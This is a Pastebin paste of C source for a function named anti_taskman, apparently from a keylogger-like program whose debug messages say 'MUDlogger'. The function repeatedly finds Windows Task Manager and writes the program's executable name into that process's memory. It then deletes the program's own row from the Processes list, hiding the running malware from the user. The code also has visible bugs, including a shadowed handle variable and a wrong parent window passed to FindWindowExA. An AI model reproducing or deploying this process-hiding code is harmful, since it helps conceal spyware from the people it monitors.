Advertisement
captmicro

Unknown

Nov 4th, 2010
210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.65 KB | None | 0 0
  1. DWORD WINAPI anti_taskman(void *param)
  2. {
  3.     HWND hTaskMan = 0;
  4.     HWND hProcTab = 0;
  5.     HWND hProcLV = 0;
  6.     char *fullexename = 0;
  7.     char *exename = 0;
  8.     BYTE injected = FALSE;
  9.     DWORD dwTaskmanEC = 0;
  10.     DWORD dwTaskmanID = 0;
  11.     HANDLE taskman = 0;
  12.     LVFINDINFO LVFI;
  13.     void *LVFIaddr = 0;
  14.     DWORD dwBytesWritten = 0;
  15.  
  16.     fullexename = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 256);
  17.     GetModuleFileNameA(GetModuleHandle(0), fullexename, 256);
  18.     exename = fullexename;
  19.     while (*exename++ != NULL);
  20.     while (*exename-- != '\\');
  21.     exename += 2;
  22.     MessageBoxA(0, exename, "EXENAME", 0);
  23.  
  24.     while (1)
  25.     {
  26.         hTaskMan = FindWindowA(0, "Windows Task Manager");
  27.         if (hTaskMan != NULL)
  28.         {
  29.             if (taskman != NULL)
  30.             {
  31.                 GetExitCodeProcess(taskman, &dwTaskmanEC);
  32.                 if (dwTaskmanEC != STILL_ACTIVE) injected = FALSE;
  33.             }
  34.  
  35.             if (injected == FALSE)
  36.             {
  37.                 GetWindowThreadProcessId(hTaskMan, &dwTaskmanID);
  38.                 HANDLE taskman = OpenProcess(PROCESS_VM_OPERATION |
  39.                     PROCESS_VM_READ | PROCESS_VM_WRITE, FALSE, dwTaskmanID);
  40.                 if (taskman == NULL) continue;
  41.  
  42.                 LVFIaddr = VirtualAllocEx(taskman, NULL, 256,
  43.                     MEM_COMMIT, PAGE_READWRITE);
  44.                 if (LVFIaddr == NULL) continue;
  45.                 WriteProcessMemory(taskman, LVFIaddr, exename,
  46.                     256, &dwBytesWritten);
  47.                 if (dwBytesWritten == 0) continue;
  48.                
  49.                 LVFI.flags = 0x0002; //LVFI_STRING 0x0002 | LVFI_PARTIAL 0x0008
  50.                 LVFI.psz = (char*)LVFIaddr;
  51.  
  52.                 LVFIaddr = VirtualAllocEx(taskman, NULL, sizeof(LVFINDINFO),
  53.                     MEM_COMMIT, PAGE_READWRITE);
  54.                 if (LVFIaddr == NULL) continue;
  55.                 WriteProcessMemory(taskman, LVFIaddr, &LVFI,
  56.                     sizeof(LVFINDINFO), &dwBytesWritten);
  57.                 if (dwBytesWritten == 0) continue;
  58.  
  59.                 MessageBoxA(0, "Injection success!", "MUDlogger", 0);
  60.                 injected = TRUE;
  61.             }
  62.  
  63.             hProcTab = FindWindowExA(hTaskMan, 0, 0, "Processes");
  64.             if (hProcTab != NULL)
  65.             {
  66.                 hProcLV = FindWindowExA(hProcLV, 0, "SysListView32", 0);
  67.                 if (hProcLV != NULL)
  68.                 {
  69.                     LRESULT ret = SendMessage(hProcLV, 0x1000 + 13,
  70.                         -1, (LPARAM)LVFIaddr); //LVM_FINDITEMA
  71.                     char retstr[256] = {0};
  72.                     _anti_itoa((int)ret, retstr, 10);
  73.                     MessageBoxA(0, retstr, "Item index", 0);
  74.                     if (ret != -1)
  75.                     {
  76.                         LRESULT dret = SendMessage(hProcLV, 0x1000 + 8,
  77.                             ret, 0); //LVM_DELETEITEM
  78.                         if (dret == FALSE)
  79.                             MessageBoxA(0, "Failed to delete item", "MUDlogger", 0);
  80.                     }
  81.                     else
  82.                     {
  83.                         MessageBoxA(0, "Failed to find item", "MUDlogger", 0);
  84.                     }
  85.                 }
  86.             }
  87.         }
  88.         Sleep(250);
  89.     }
  90.  
  91.     if (taskman != NULL && LVFIaddr != NULL)
  92.         VirtualFreeEx(taskman, LVFIaddr, sizeof(LVFINDINFO), MEM_DECOMMIT);
  93.  
  94. anti_taskman_end:
  95.     ExitThread(0);
  96.     return 0;
  97. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement